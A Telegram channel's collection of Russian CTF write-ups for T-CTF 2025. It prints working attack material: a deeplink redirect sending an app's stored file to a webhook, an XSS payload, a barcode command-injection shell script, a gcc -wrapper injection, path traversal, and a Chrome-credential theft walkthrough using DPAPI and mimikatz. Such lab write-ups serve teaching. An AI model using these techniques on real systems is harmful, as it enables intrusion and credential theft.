#mobile #tctf2025
Капибивень
Декомпилируем (при помощи jadx, например)
По пути com.epriori.bone.domain.api находим следующий класс:
Из него мы видим, что есть какой-то
Попробуем добавить в
Далее в
Гуглим и находим, что в теге
Отсюда понимаем, что у deeplink есть 2 параметра -
Ну и на наш сервер прилетает ответ:
Автор: @tonysdx
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибивень
Декомпилируем (при помощи jadx, например)
По пути com.epriori.bone.domain.api находим следующий класс:
public interface Api {
@FormUrlEncoded
@POST("/api/partners/add")
Object addPartner(@Field("name") String str, @Field("homePageUrl") String str2, Continuation<? super Response<Unit>> continuation);
@POST("/api/approve")
Object approve(@Field("secret") String str, @Field("url") String str2, Continuation<? super Response<Unit>> continuation);
@GET("/api/partners")
Object getPartners(Continuation<? super Response<List<Partners>>> continuation);
@GET("/api/posts")
Object getPosts(Continuation<? super Response<List<Post>>> continuation);
@GET("/api/unapproved")
Object getUnapproved(@Query("secret") String str, Continuation<? super Response<List<Partners>>> continuation);
@POST("/api/reject")
Object reject(@Field("secret") String str, @Field("url") String str2, Continuation<? super Response<Unit>> continuation);
}Из него мы видим, что есть какой-то
secret, который мы не знаем, и есть незащищенные ручки, в частности /api/partners/add с query parameters name и homePageUrlПопробуем добавить в
homePageUrl свой url своего сервера и увидим, что туда ходит бот!Далее в
AndroidManifest.xml:<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:host="supportreport" android:scheme="bone"/>
</intent-filter>
Гуглим и находим, что в теге
data зарегистрирован так называемый deeplink bone://supportreport, который вызывает Intent функцию у нашего приложения:private final void handleIntent(Intent intent) {
String action = intent.getAction();
Uri data = intent.getData();
if (!Intrinsics.areEqual("android.intent.action.VIEW", action) || data == null) {
return;
}
String queryParameter = data.getQueryParameter("file");
String queryParameter2 = data.getQueryParameter(ImagesContract.URL);
if (queryParameter != null && queryParameter2 != null) {
createTempFileAndSend(queryParameter, queryParameter2);
} else {
Toast.makeText(this, "Неверные параметры в deeplink", 0).show();
}
}Отсюда понимаем, что у deeplink есть 2 параметра -
ImagesContract.URL = "url" и file. Покопав код и подебажив код, обнаруживаем, что при помощи deeplink мы можем отправлять файлы с локального устройства на любой url. Однако методом тыка обнаруживаем, что бот не ходит на bone:// ссылки изначально. Поэтому добавляем на наш сайт редирект на ссылку bone://, где file это сохраненный SharedPreferences в формате .xml:<!DOCTYPE html>
<script>
window.location.href = "bone://supportreport?file=/data/data/com.epriori.bone/shared_prefs/moderator_info.xml&url=https://webhook.site/b125b29d-ab76-403d-b8c1-0a431370b7f3";
</script>
Ну и на наш сервер прилетает ответ:
POST / HTTP/1.1
Host: l.requestcatcher.com
Accept-Encoding: gzip
Connection: Keep-Alive
Content-Length: 340
Content-Type: multipart/form-data; boundary=1875aa9b-8256-4409-95a4-b2781be8c082
User-Agent: okhttp/3.14.9
--1875aa9b-8256-4409-95a4-b2781be8c082
Content-Disposition: form-data; name="file"; filename="moderator_info.xml"
Content-Type: text/plain
Content-Length: 131
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="moderator_key">tctf{b3_CArEFul_W1Th_7H3_dE3P_L1nk}</string>
</map>
--1875aa9b-8256-4409-95a4-b2781be8c082--
Автор: @tonysdx
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12⚡1❤1
#web #tctf2025
Капибальпы
Суть задания, украсть у сноубордистов минуты для скипасов. Сноубордисты создали запрос на минуты (донаты).
Я создал 2 аккаунта, и посмотрел какой заброс отсылается кода ты передаешь минуты. Там обычный ПОСТ запрос, и в нем отсылается JSON:
Самое банальное что можно сделать поставить -1, вуаля вместо доната ты забираешь время)))
Ну и для получения флага надо получить достижение которое есть в профиле лыжника.
«Укради 100500 минут у сноубордиста»
Отправляем запрос с -100500 и всё готово.
Автор: @serega00731
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибальпы
Суть задания, украсть у сноубордистов минуты для скипасов. Сноубордисты создали запрос на минуты (донаты).
Я создал 2 аккаунта, и посмотрел какой заброс отсылается кода ты передаешь минуты. Там обычный ПОСТ запрос, и в нем отсылается JSON:
{“minutes”:1}Самое банальное что можно сделать поставить -1, вуаля вместо доната ты забираешь время)))
Ну и для получения флага надо получить достижение которое есть в профиле лыжника.
«Укради 100500 минут у сноубордиста»
Отправляем запрос с -100500 и всё готово.
Автор: @serega00731
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7🥱7😐2⚡1🥴1 1
1.jpg
63.3 KB
#reverse #tctf2025
Капибарса
Первое пытался сделать перебором (комп умер), второе сделал от обратного.
Финальное число для открытия замка это values = 4143632706302433
Мы берем его и начинаем идти в обратку, вычитаем вначале число, потом делим.
Как я выбирал какое число вычесть?
Вокруг центрального блока есть описание:
1)если к сенсору подставить желтый то (values * 4)+3
И так далее.
Я вычитал все значения и делил на 4 если число получалось целым-> я ставил букву соответствующую и делал дальше, потом отобразил получившиеся символы в обратном порядке и подставил tctf{те самые символы}, флаг сдан.
Автор: @serega00731
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибарса
Первое пытался сделать перебором (комп умер), второе сделал от обратного.
Финальное число для открытия замка это values = 4143632706302433
Мы берем его и начинаем идти в обратку, вычитаем вначале число, потом делим.
Как я выбирал какое число вычесть?
Вокруг центрального блока есть описание:
1)если к сенсору подставить желтый то (values * 4)+3
И так далее.
Я вычитал все значения и делил на 4 если число получалось целым-> я ставил букву соответствующую и делал дальше, потом отобразил получившиеся символы в обратном порядке и подставил tctf{те самые символы}, флаг сдан.
Автор: @serega00731
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3⚡1
#web #tctf2025
Капиблеф
Переходим на сайт, тестим формы отправки, замечаем, что при методе сброса карт на стол (showdown), отправляются jwt-токены в формате:
Дешифровав данный токен, видим что в них зашифрованы сбрасываемые карты, в данном случае - 3 крестов и король крестов соответственно.
Предполагаем, что можно подменять карты, в момент сбрасывания на стол,и действительно.
Вставив 2 раза последний токен, получаем пару королей.
Видим, что при каждой раздаче мы можем узнавать jwt-токен и соответствующую карту.
Таким образом, соберем себе словарь из колоды карт в формате:
токен - карта.
Теперь при каждой раздаче, выбираем из собранных карт наиболее высокие комбинации и подменяем jwt-токены (стрит, флеш).
Я победил в основном, используя каре из тузов.
После серии из 13 побед, получаем сертификат, содержащий флаг.
Автор: @konsgory
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капиблеф
Переходим на сайт, тестим формы отправки, замечаем, что при методе сброса карт на стол (showdown), отправляются jwt-токены в формате:
{"action":"showdown","cards":["eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiMyIsInN1aXQiOiJDbHVicyJ9fQ.ovIt-0l5F3f0WA9kmlIaey4y1os2MM2xptPh3x_i3jI","eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiSyIsInN1aXQiOiJDbHVicyJ9fQ.HbRidMO_tZ0jzuj5j0FRRWuXQQjfOyEe3v80Y_sv0xk"]}Дешифровав данный токен, видим что в них зашифрованы сбрасываемые карты, в данном случае - 3 крестов и король крестов соответственно.
{
"iss": "deck",
"exp": ,
"nbf": ,
"iat": ,
"card": {
"rank": "K",
"suit": "Clubs"
},
"header": {
"alg": "HS256",
"typ": "JWT"
}
}Предполагаем, что можно подменять карты, в момент сбрасывания на стол,и действительно.
Вставив 2 раза последний токен, получаем пару королей.
{"action":"showdown","cards":["eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiSyIsInN1aXQiOiJDbHVicyJ9fQ.HbRidMO_tZ0jzuj5j0FRRWuXQQjfOyEe3v80Y_sv0xk","eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiSyIsInN1aXQiOiJDbHVicyJ9fQ.HbRidMO_tZ0jzuj5j0FRRWuXQQjfOyEe3v80Y_sv0xk"]}Видим, что при каждой раздаче мы можем узнавать jwt-токен и соответствующую карту.
Таким образом, соберем себе словарь из колоды карт в формате:
токен - карта.
Теперь при каждой раздаче, выбираем из собранных карт наиболее высокие комбинации и подменяем jwt-токены (стрит, флеш).
Я победил в основном, используя каре из тузов.
После серии из 13 побед, получаем сертификат, содержащий флаг.
Автор: @konsgory
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8⚡1❤1
#web #debug #tctf2025
Капипаркинг
Наша задача подделать билет и попасть на паркинг в качестве вип гостя.
Билет проверяет паркомат Капибаровска.
У нас есть пример билета обычного посетителя.
На билете есть штрих код в формате CODE39.
Находим в интернете генератор таких штрихкодов ( или пишем на python ) и пытаемся, поменять какие-то значения.
Пример кода на билете, который шифруется 1%BABAN123%202504191104%.
Понимаем, что после каждого знака % идет разделение информации по типам.
Вторая часть отвечает за номер авто, в данном случае BABAN123, потом 3 часть - дата и время 202504191104.
Первая отвечает за тип билета, пытаемся менять его. 3%BABAN123%202504191104% - в таком случае билет считается vip, но паркомат требует vip ключ.
Тогда перебираем дальше и находим режим debug: 9%BABAN123%202504191104%. В нем от нас просят не ключ, а команду.
Пробуем добавить к коду на билете "ls%" и у нас есть ответ!
Пытаемся узнать кто мы и потыкать команды.
В итоге читаем файл по пути app/routes.py и находим там флаг.
Вот скрипт на python, который сам генерирует штрих код, отправляет его на сервер и эмитирует командную строку машины на той стороне:
Автор: @Evgeniy12337382
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капипаркинг
Наша задача подделать билет и попасть на паркинг в качестве вип гостя.
Билет проверяет паркомат Капибаровска.
У нас есть пример билета обычного посетителя.
На билете есть штрих код в формате CODE39.
Находим в интернете генератор таких штрихкодов ( или пишем на python ) и пытаемся, поменять какие-то значения.
Пример кода на билете, который шифруется 1%BABAN123%202504191104%.
Понимаем, что после каждого знака % идет разделение информации по типам.
Вторая часть отвечает за номер авто, в данном случае BABAN123, потом 3 часть - дата и время 202504191104.
Первая отвечает за тип билета, пытаемся менять его. 3%BABAN123%202504191104% - в таком случае билет считается vip, но паркомат требует vip ключ.
Тогда перебираем дальше и находим режим debug: 9%BABAN123%202504191104%. В нем от нас просят не ключ, а команду.
Пробуем добавить к коду на билете "ls%" и у нас есть ответ!
Пытаемся узнать кто мы и потыкать команды.
В итоге читаем файл по пути app/routes.py и находим там флаг.
Вот скрипт на python, который сам генерирует штрих код, отправляет его на сервер и эмитирует командную строку машины на той стороне:
from barcode import get_barcode_class
from barcode.writer import ImageWriter
from io import BytesIO
import requests
import json
# 1. Генерация штрихкода CODE39 в памяти (без сохранения на диск)
def generate_barcode(code_text):
Code39 = get_barcode_class('code39')
code39 = Code39(code_text, writer=ImageWriter())
buffer = BytesIO()
code39.write(buffer, options={'format': 'PNG'})
buffer.seek(0)
return buffer
# 2. Отправка POST-запроса
def send_barcode_image(image_buffer, filename="barcode.png"):
files = {
'image': (filename, image_buffer, 'image/png')
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Referer": "https://t-parking-0a2zxpo1.spbctf.org/",
"Origin": "https://t-parking-0a2zxpo1.spbctf.org",
"Accept": "*/*"
}
cookies = {
"__cfduid": "7aec16a4dbb0ab6f8f27fac37264dce0"
}
response = requests.post(
"https://t-parking-0a2zxpo1.spbctf.org/scan",
files=files,
headers=headers,
cookies=cookies
)
return response.text
# --- Запуск ---
if __name__ == "__main__":
while True:
code = "9%BABAN123%202504191104%"
command = input("> ")
# code = code.replace(" ", "") # Убираем пробелы
code += command + "%"
filename = "barcode.png" # Имя файла только для запроса
img = generate_barcode(code)
response = send_barcode_image(img, filename)
try:
json_data = json.loads(response)
parking_fee = json_data.get("parking_fee", "")
if parking_fee is not None:
parking_fee_cleaned = parking_fee.replace("\n", " ").strip()
pretty = json.dumps(json_data, indent=2, ensure_ascii=False)
print(parking_fee_cleaned)
except json.JSONDecodeError:
print("[!] Ответ не является JSON:")
print(response)
Автор: @Evgeniy12337382
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6🔥4🫡2⚡1🥴1🤨1
Ребят, присылайте ваши райтапы на TCTF, даже если это первый райтап в вашей жизни, не стесняйтесь ❤️
🐳8👍2🥴2🤣1🤨1
#misc #telegram #tctf2025
Капиблогер (обе версии)
В боте, который выдается, не нажимать кнопку /start, а изменить тему чата, тогда создастся чат, но не пропишется /start и не выдастся роль.
Автор: @iamgosten
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капиблогер (обе версии)
В боте, который выдается, не нажимать кнопку /start, а изменить тему чата, тогда создастся чат, но не пропишется /start и не выдастся роль.
Автор: @iamgosten
Please open Telegram to view this post
VIEW IN TELEGRAM
🤯11⚡1👍1🔥1🤨1
#infra #linux #c
Капибассейн
В аргументы вставляем
Таким образом вместо бинаря
Думаю, стоит уточнить, что при использовании wrapper gcc не генерит бинарный файл на выходе.
Автор: @tonysdx
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Капибассейн
В аргументы вставляем
-wrapper /bin/sh,-c,'echo -e "#!/bin/sh\ncat ./new_secret.txt" > main'
Таким образом вместо бинаря
main у нас появляется скрипт main, который выведет флаг.Думаю, стоит уточнить, что при использовании wrapper gcc не генерит бинарный файл на выходе.
Автор: @tonysdx
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4⚡1
#misc #telegram #tctf2025
Капиблогер (обе версии)
Надо отправить боту сообщение "Конкурсы" без начального "/start" - тогда пользователь не будет авторизован и будет возвращаться везде 0 - то есть мы станем организатором.
Пример кода:
Автор: @tonysdx
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капиблогер (обе версии)
Надо отправить боту сообщение "Конкурсы" без начального "/start" - тогда пользователь не будет авторизован и будет возвращаться везде 0 - то есть мы станем организатором.
Пример кода:
from telethon import TelegramClient
import asyncio
async def main():
# Create application https://my.telegram.org/apps
api_id = ...
api_hash = '...'
session_name = "wtf"
client = TelegramClient(session_name, api_id, api_hash)
await client.start()
msg = await client.send_message('@capyblogger_XXXXXX_bot', 'Конкурсы')
print(f'Отправлено сообщение {msg.id} в чат {msg.chat_id}')
await client.run_until_disconnected()
asyncio.run(main())
Автор: @tonysdx
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥3⚡1👍1
#misc #forensics
Капибариста
1) Идем на сайт и видим форму с логином. Креды нам не даны, поэтому тыкаем по единственной доступной кнопке - политике о персональных данных. Попадаем на URL:
https://t-barista-adminfilestorage-XXXXXX.spbctf.org/?path=/policy.pdf&action=download
2) Пробуем поменять путь и убрать тег action:
В ответ получаем:
Ага... А если убрать тег action?
Попадаем в файловый менеджер в вебе!
Однако ничего интересного в текущей папке не находим. Пробуем выбраться при помощи следующего пейлоада:
Вылетаем в корневую директорию, кайф
Можем считать /etc/passwd:
Ответ:
Пропустим момент с бесконечными поисками интересных файлов и перейдем к сути: в /mnt примонтирован виндовый диск C:
3) Находим интересные приложения на диске C:
По этому пути узнаем, что в системе стоит Chrome. А значит, там может быть сохранена кука для авторизации на сайте!
Забираем SQLite базу данных со всеми кредами хрома:
База данных на ОС Windows зашифрована так называемым masterkey, который мы можем достать по пути
Однако не все так просто - masterkey в свою очередь зашифрован паролем пользователя. Поэтому используем утилиту
Ну и запустим john со словарем rockyou.txt на полученный хеш. Получим пароль
4) Для расшифровки masterkey запустим утилиту mimikatz и выполним:
В самом низу будет наш masterkey.
5) Расшифруем ключ при помощи полученного masterkey, также используя mimikatz. Для начала вытащим сам зашифрованный ключ:
Он будет находиться по ключу
Запускаем mimikatz и вводим:
6) Теперь надо вынуть
И расшифровать при помощи полученного AES-ключа (можно использовать этот скрипт, например)
7) Получаем пароль
Автор: @ll0ydik
Капибариста
1) Идем на сайт и видим форму с логином. Креды нам не даны, поэтому тыкаем по единственной доступной кнопке - политике о персональных данных. Попадаем на URL:
https://t-barista-adminfilestorage-XXXXXX.spbctf.org/?path=/policy.pdf&action=download
2) Пробуем поменять путь и убрать тег action:
GET /?path=/../../../../../../../../../../../etc/passwd HTTP/2
В ответ получаем:
<html lang=en>
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>Попытка взлома</p>
Ага... А если убрать тег action?
GET /?path=/ HTTP/2
Попадаем в файловый менеджер в вебе!
Однако ничего интересного в текущей папке не находим. Пробуем выбраться при помощи следующего пейлоада:
GET /?path=/./../ HTTP/2
Вылетаем в корневую директорию, кайф
Можем считать /etc/passwd:
GET /?path=/./../etc/passwd HTTP/2
Ответ:
<textarea cols="80" rows="25">root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
</textarea>
Пропустим момент с бесконечными поисками интересных файлов и перейдем к сути: в /mnt примонтирован виндовый диск C:
3) Находим интересные приложения на диске C:
GET /?path=/./../mnt/C/Users/capybarman/AppData/Local/Google/Chrome HTTP/2
По этому пути узнаем, что в системе стоит Chrome. А значит, там может быть сохранена кука для авторизации на сайте!
Забираем SQLite базу данных со всеми кредами хрома:
GET /?path=/./../mnt/C/Users/capybarman/AppData/Local/Google/Chrome/User+Data/Default/Login+Data HTTP/2
База данных на ОС Windows зашифрована так называемым masterkey, который мы можем достать по пути
GET /?path=/./../mnt/C/Users/capybarman/AppData/Roaming/Microsoft/Protect//S-1-5-21-1023654651-2831612651-3133783694-1000/c637715b-e447-4cd5-9a72-445ef3861446 HTTP/2
Однако не все так просто - masterkey в свою очередь зашифрован паролем пользователя. Поэтому используем утилиту
DPAPImk2john и сбрутим хеш:python3 DPAPImk2john.py --sid="S-1-5-21-1023654651-2831612651-3133783694-1000" --masterkey="c637715b-e447-4cd5-9a72-445ef3861446" context="local" > hash.txt
Ну и запустим john со словарем rockyou.txt на полученный хеш. Получим пароль
Capybara17924) Для расшифровки masterkey запустим утилиту mimikatz и выполним:
dpapi::masterkey /in:"c637715b-e447-4cd5-9a72-445ef3861446" /sid:"S-1-5-21-1023654651-2831612651-3133783694-1000" /password:"Capybara1792" /protected
В самом низу будет наш masterkey.
5) Расшифруем ключ при помощи полученного masterkey, также используя mimikatz. Для начала вытащим сам зашифрованный ключ:
GET /?path=/./../mnt/C/Users/capybarman/AppData/Local/Google/Chrome/User+Data/Local+State HTTP/2
Он будет находиться по ключу
os_crypt.enrypted_key в JSON файле по пути выше. Также перед записью в файл его надо декодировать из base64 и убрать первые 5 символов из раскодированного значения - DPAPI. Сохраним результат в файл dec_dataЗапускаем mimikatz и вводим:
dpapi::blob /masterkey:MASTERKEY_FROM_4_STEP /in:"dec_data" /out:"aes.dec"
6) Теперь надо вынуть
password из вытащенной на 3 этапе базы данныхSELECT origin_url, username_value, password_value FROM logins
И расшифровать при помощи полученного AES-ключа (можно использовать этот скрипт, например)
7) Получаем пароль
OmgSoAdminPasswordVerySecure2025 с логином admin, авторизуемся на сайте, отключаем опцию "только соевое молоко", наслаждаемся анимацией и получаем флаг!Автор: @ll0ydik
👍10🤯2⚡1
#web #tctf2025
Капибординг
Регистрируем аккаунт сноубордиста, в описании таска делается акцент на том, что под донатами сноубордистов, лыжники оставляют гневные комментарии.
Пробуем инжектить скрипт в заголовок доната - отлично есть XSS
Создаем донат, в описание инжектим данный скрипт:
После чего лыжники-боты заходят чтобы оставить комментарий, получают ошибку, так как такого пути для картинки не существует. Из за этого выполняется скрипт по триггеру об ошибке, скрипт за лыжника вводит 100500 минут в донате и нажимает на кнопку отправки.
Автор: @wkiseven
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибординг
Регистрируем аккаунт сноубордиста, в описании таска делается акцент на том, что под донатами сноубордистов, лыжники оставляют гневные комментарии.
Пробуем инжектить скрипт в заголовок доната - отлично есть XSS
Создаем донат, в описание инжектим данный скрипт:
<img src=x onerror="
let inp = document.querySelector('#donationInput');
inp.value = 100500;
inp.dispatchEvent(new Event('input', { bubbles: true }));
document.querySelector('button[type=submit]').click();
">
После чего лыжники-боты заходят чтобы оставить комментарий, получают ошибку, так как такого пути для картинки не существует. Из за этого выполняется скрипт по триггеру об ошибке, скрипт за лыжника вводит 100500 минут в донате и нажимает на кнопку отправки.
Автор: @wkiseven
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7⚡2🥴2
Кстати, вот здесь еще одна подборка интересных райтапов с #tctf2025 от @SpriteCT, разбираются задачки:
• #Капибады
• #Капибургер
• #Капибокс
• #Капибегущая
• #Капибаза
• #Капипаркинг
• #Капиблеф
• #Капаре
• #Капибаксы
• #Капибанк
Не пропустите!
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
• #Капибады
• #Капибургер
• #Капибокс
• #Капибегущая
• #Капибаза
• #Капипаркинг
• #Капиблеф
• #Капаре
• #Капибаксы
• #Капибанк
Не пропустите!
Please open Telegram to view this post
VIEW IN TELEGRAM
👍2⚡1
#web
👀 Реестр Мемов
В эпоху строгого контроля и цифрового наблюдения правительство внедрило "Реестр Мемов". Теперь каждый мем подлежит обязательной регистрации. Пользователи, распространяющие незарегистрированные мемы, рискуют получить серьезные штрафы.
Твоя задача — обойти модерацию мемов, добавить мем в реестр и восстановить законные права пользователей на мемы!
https://mem.givemeflag.com/
Автор: @denis_bardak
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
👀 Реестр Мемов
В эпоху строгого контроля и цифрового наблюдения правительство внедрило "Реестр Мемов". Теперь каждый мем подлежит обязательной регистрации. Пользователи, распространяющие незарегистрированные мемы, рискуют получить серьезные штрафы.
Твоя задача — обойти модерацию мемов, добавить мем в реестр и восстановить законные права пользователей на мемы!
https://mem.givemeflag.com/
Автор: @denis_bardak
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5😁2🗿2⚡1🥴1🌚1
IMG_20250427_061704_107.jpg
341.5 KB
#crypto #coding #tctf2025
Капибьюти
Суть задания, расшифровать купон, который зашифровал креативный маркетолог.
В задании дается картинка со множеством изображений и одна строка с надписью "Салон капибьюти спа", которая отсылает нас к ключу от шифра, однако полностью ключа нет, придется додумывать самому, то есть та буква, что находится над картинкой ей и присваивается.
Таким образом расставив все буквы, соответствующие картинкам, и додумав по смыслу слова, получим сообщение, введя которое на сайте, получим флаг.
Автор: @MRX_120
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибьюти
Суть задания, расшифровать купон, который зашифровал креативный маркетолог.
В задании дается картинка со множеством изображений и одна строка с надписью "Салон капибьюти спа", которая отсылает нас к ключу от шифра, однако полностью ключа нет, придется додумывать самому, то есть та буква, что находится над картинкой ей и присваивается.
Таким образом расставив все буквы, соответствующие картинкам, и додумав по смыслу слова, получим сообщение, введя которое на сайте, получим флаг.
Автор: @MRX_120
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
Ну что котята, как международка?)
Попа-боль? 🩹
https://cyberbattle.standoff365.com/battle/36?section=ratings&tab=redTeam
Попа-боль? 🩹
https://cyberbattle.standoff365.com/battle/36?section=ratings&tab=redTeam
Standoff365
Результаты
Standoff 365 Киберполигон — онлайн-киберучения, где этичные хакеры помогают на практике оценить защищенность инфраструктуры, найти в ней слабые места и подготовиться к отражению кибератак.
Представляем вам два подробных разбора заданий Капибариста и Капибратство с T-CTF 2025 от @TheSa1kyo. Не пропустите!
#tctf2025
#tctf2025
👍7
Forwarded from Кошачьи бредни (Daniil159x)
Авторские врайтапы на T-CTF 25
В этом году мне выпала честь делать таски на этот CTF.
Всего сделал 3 таска: капитолий, капибассейн и капибудильник.
Капитолий был демо таском и для него делали онлайн разбор, пост выше.
Капибассейн был из категории easy и был в обеих лигах.
В нём давался исходник, бот его компилировал и запускал. Игрокам надо было починить компиляцию и достать флаг.
Оригинальный врайтап живёт в гитхабе: tctf-25/basin/README.md.
Помимо описанного решения игроки нашли опцию
Не находили резонно, ибо как часто вы компилируете и запускаете на проде?)
Флаг с секретом лежал рядом с бинарём во время запуска. Поэтому игроки, шедшие через
Капибудильник давали только в лиге "безопасников" и он представлял из себя таск на повышение привилегий и побег из
Таск вдохновлен этим постом, где схожая уязвимость была в ftp демоне в 1998 году.
Врайтап лежит тут: tctf-25/buzzer/README.md
#ctf #linux #writeups
В этом году мне выпала честь делать таски на этот CTF.
Всего сделал 3 таска: капитолий, капибассейн и капибудильник.
Капитолий был демо таском и для него делали онлайн разбор, пост выше.
Капибассейн был из категории easy и был в обеих лигах.
В нём давался исходник, бот его компилировал и запускал. Игрокам надо было починить компиляцию и достать флаг.
Оригинальный врайтап живёт в гитхабе: tctf-25/basin/README.md.
Помимо описанного решения игроки нашли опцию
-wrapper, которая оборачивает вызов компилятора, получали RCE на момент компиляции и не находили new_secret.txt.Не находили резонно, ибо как часто вы компилируете и запускаете на проде?)
Флаг с секретом лежал рядом с бинарём во время запуска. Поэтому игроки, шедшие через
-wrapper, всячески патчили или подменяли main бинарь.Капибудильник давали только в лиге "безопасников" и он представлял из себя таск на повышение привилегий и побег из
chroot'а.Таск вдохновлен этим постом, где схожая уязвимость была в ftp демоне в 1998 году.
Врайтап лежит тут: tctf-25/buzzer/README.md
#ctf #linux #writeups
Telegram
Кошачьи бредни
Интересное с демо таска на T-CTF 2025 с ядерным модулем
На этой неделе был разбор моего демо таска. Хочу поделиться некоторыми материалами, которые мне помогли при его разработке.
Про его логику и как он решался, можно посмотреть на самом разборе: ютуб или…
На этой неделе был разбор моего демо таска. Хочу поделиться некоторыми материалами, которые мне помогли при его разработке.
Про его логику и как он решался, можно посмотреть на самом разборе: ютуб или…
👍4❤2
Райтап на задание Капибатл, который решили всего ТРИ команды!
@hate_it_here, спасибо! ❤️
#pwn #linux #bpf #lpe #tctf2025
Капибатл
Описание задания:
Сегодня пройдет финал битвы огромных робокапибар. Сражения идут врукопашную. Некоторые игроки прознали, что у фаворита CAPY-9000 встроена ЭМ-пушка, которая выключает соперника. Это запрещено правилами. Взломайте робота CAPY-9000, найдите пушку и выключите ее.
ssh t-battle-ux658nop.spbctf.org
Username: battle
Password: 273V7UVE6QCV2XuuYsAvCA
Исходники: capybattle_7571838.tar.gz
Нерегламентированная ЭМ-пушка выключается командой /bin/deactivate
Райтап: https://blog.nekoea.red/posts/tctf25-capybattle-writeup/
Материалы задания и решения: https://meowgit.nekoea.red/nihonium/tctf25_capybattle_writeup
Please open Telegram to view this post
VIEW IN TELEGRAM